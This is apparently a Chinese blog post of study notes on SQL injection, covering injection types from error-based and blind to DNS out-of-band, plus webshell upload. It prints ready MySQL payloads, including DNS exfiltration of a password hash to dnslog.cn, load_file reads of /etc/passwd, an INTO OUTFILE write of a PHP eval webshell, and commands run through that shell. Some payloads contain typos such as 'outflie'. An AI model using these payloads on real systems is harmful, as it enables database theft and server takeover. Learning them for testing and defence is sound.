一、简介
SQL 注入漏洞非常复杂,区分各种数据库类型,提交方法,数据类型等注入,同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的
二、SQL注入原理
1、什么是SQL注入
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2、SQL注入产生条件
• 传递给后端的参数是可以控制的
• 参数内容会被带入到数据库查询
• 变量未存在过滤或者过滤不严谨
三、SQL注入步骤
四、SQL注入分类
1、按照注入点类型来分类
1.1 数字型注入点
注入点ID数据类型为数字
http://xxx.com/user.php?id=1
查询语句:select * from user where id=1
1.2 字符型注入点
注入点ID数据类型为字符,
http://xxx.com/user.php?id=1
查询语句:select * from user where id='1',存在单引号或是双引号
1.3 搜索性注入点
数据搜索时没有过滤搜索参数,
查询语句:select * from user where name like '%admin%'
2、按照数据的提交方式分类
2.1 GET型注入
注入点在GET参数中,
http://xxx.com/user.php?id=1
2.2 POST型注入
注入点在POST数据中
2.3 HTTP头部注入
注入点在HTTP请求头的某个字段中,
eg:User-Agent,Cookie
3、按照执行结果分类
3.1 报错注入
在页面有可控的输入,但是页面没有信息展示,即使注入了sql命令,也没有任何信息显示,通过构造语句,让错误信息中夹杂可以显示数据库内容的查询语句
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
# 6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
# 7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
# 8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
# 9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
# 10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
3.2 盲注
3.2.1 布尔盲注
通过表达式结果与已知值进行比对,根据比对结果判断正确与否
注入步骤:
1、使用Length(),判断查询结果的长度
2、使用Substr(),截取每一个字符,并穷举出字符类容
eg:id=1 and 1 = if(ascii(substr(user(),1,1))=97,1,2)
3.2.2 时间盲注
利用sleep()函数制造时间延迟,通过页面的响应时间来判断条件是否正确
注入步骤:
1、使用Length(),判断查询结果的长度
2、使用Substr(),截取每一个字符,并穷举出字符类容
eg:id=1 and if(ascii(substr(user(),1,1))=97,sleep(3),1)
3.2.3 常用函数
length(a) 返回a的长度 substr(a,b,c) 截取字符串,从b位置开始,截取字符串a的c长度 mid(a,b,c) 截取字符串,从b位置开始,截取字符串a的c位 left(a,b) 截取字符串,从左侧截取a的前b位 right(a,b) 截取字符串,从右侧截取a的后b位 ascii(a) 返回字符的ASCII码 ord(a) 返回字符的ASCII码 hex(a) 将字符串转换为16进制的值
if(cond,Ture_result,False_result) cond判断条件,eg:id=1 and 1 = if(ascii(substr(user(),1,1))=97,1,2),如果user()的第一位是a,则放回1,否则返回2;
3.3 堆叠注入
• 堆叠注入原理
Stacked injection汉语翻译过来后,称为堆查询注入,也称之为堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。在PHP中,mysql_multi_query()支持多条sql语句同时执行,分号;是用来表示一条sql语句的结束。当我们在;结束一个sql语句后继续构造下一条语句,使其执行,就构成了堆叠注入。
• 堆叠注入的局限性
堆叠注入的触发条件很苛刻,在实际中遇到的很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句并且目标未对;号进行过滤时才能够使用,在PHP中利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,
eg:id=1 ;select user()
3.3.1条件
1、支持多条语句查询,mysqlti_multi_query()函数支持多条SQL语句查询,mysqli_query()函数只能执行一条SQL语句
2、未对分号过滤
3.4 宽字节注入
字符大小为一个字节时为窄字节,比如ASCII编码(0-127),字符大小为两个及以上的字节为宽字节。MySql在使用GBK编码时,会认为两个字符是一个汉字(第一个字符的ASCII码要大于128,才到汉字的范围)
网站对特殊字符进行转义,进行注入前需要对转义字符进行绕过,可以在转义字符(\)前添加字符,让新字符和转义字符组成宽字符,eg:%df,新字符:%df%5C
条件:GBK编码:mysql_query("SET NAMES gbk");
eg:id=1%df ' and union select ,1,database()%23
3.5 二次注入
• 二次注入的原理
二次注入一般无法通过扫描工具、手工注入或黑盒测试去进行,一般是用于白盒测试,原因是漏洞本身产生的原理。二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 语句中导致的注入。二次注入比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
二次注入可分为两步:
1、插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
2、引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。
3.6 DNS外带注入
DNSlog注入是一种利用DNS服务器记录域名解析请求的特性,来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名,然后使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求,从而在DNS服务器上留下注入结果的痕迹。
eg:http://xxx/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select hex(password) from security.users where username='Dummy'),'.nwpxcq.dnslog.cn/test')))--+
3.6.1 条件
1、Windows平台,load_file()函数读取本地文件,拼接语句时需要使用\\,目的是为了使用load_file()可以查询的UNC地址,Linux服务器没有UNC地址;
2、目标服务器可以发起DNS请求,可以访问外部网络
3、load_file()函数可以使用,数据库配置文件my.ini中,secure_file_priv=
4、目标服务器返回的数据不能超过域名长度限制(63个字符),并且不能包含特殊字符,否则会导致DNS查询失败
3.6.2 步骤
1、在可以记录DNS请求的平台获取一个子域名,例如:ceye.io,dnslog.cn
2、拼接查询语句,让服务器向DNS服务器发起解析请求,eg:select load_file(concat('\\\\',(select database()),'.xxx.dnslog.cn/abc'));
3、查看DNS请求记录
3.6.3 注意
1、由于每一级域名的长度只能为63个字符,所以在MySQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内
2、由于URL中传递的字符非常有限,很多特殊字符如{,},!,等是无法传递的。这就会导致load_file函数失效。所以需要对查询结果进行hex编码,然后再使用16进制解码网站来还原结果
五、SQL注入上传shell
1、读写权限确认
show global variables like '%secure'; 查看mysql全局变量的配置,当输入以上命令后,结果为 secure_file_priv = 空的时候,任意读写 secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写 secure_flie_priv = NULL不能读写
2、读文件
利用SQL语句读取系统文件,先读写常规文件(明确文件路径),如果能成功读取,则继续读取其他文件。
如果明确知道路径,则直接尝试爆破路径小的文件,如果连路径都不知道,则爆破路径。
#利用SQL
-1 union select 1,2,3,load_file("C:/windows/server/service.inf"),5,6 -1 union select 1,2,3,load_file("/etc/passwd"),5,6
/security/read.php?id=-1 union select 1,2,3,(select load_file("/opt/lampp/htdocs/security/common.php")),5,6
3、写入木马
-1 union select 1,2,3,4,5,"<?php phpinfo(); ?>" into outflie "D:/xamppnew/htdocs/security/muma.php" 如果列的数量未知,也可以不停地试,然后注入一次,访问一次,确认是否注入成功 -1 union select 1,2,3,4,5,"<?php @eval($_POST['a']); ?>" into outflie "D:/xamppnew/htdocs/security/muma.php" 一句话木马==》用来进行探测==》之后进行大马植入 <?php @eval($_POST['a']); ?> eval可以将一段字符串当成代码来执行,如果用户可以直接将这段有效的PHP代码传入后台,则可以执行任意代码或指令 植入木马后可以执行以下命令 security/muma2.php?a=phpinfo(); security/muma2.php?a=echo date('Y-m-d' H:i:s'); security/muma.php?a=system('ifconfig'); #PHP执行指
日常随笔学习记录,如有侵权请联系[email protected]删除
标签:语句,详解,user,SQL,id,select,注入 From: https://www.cnblogs.com/BIGBadman/p/18230660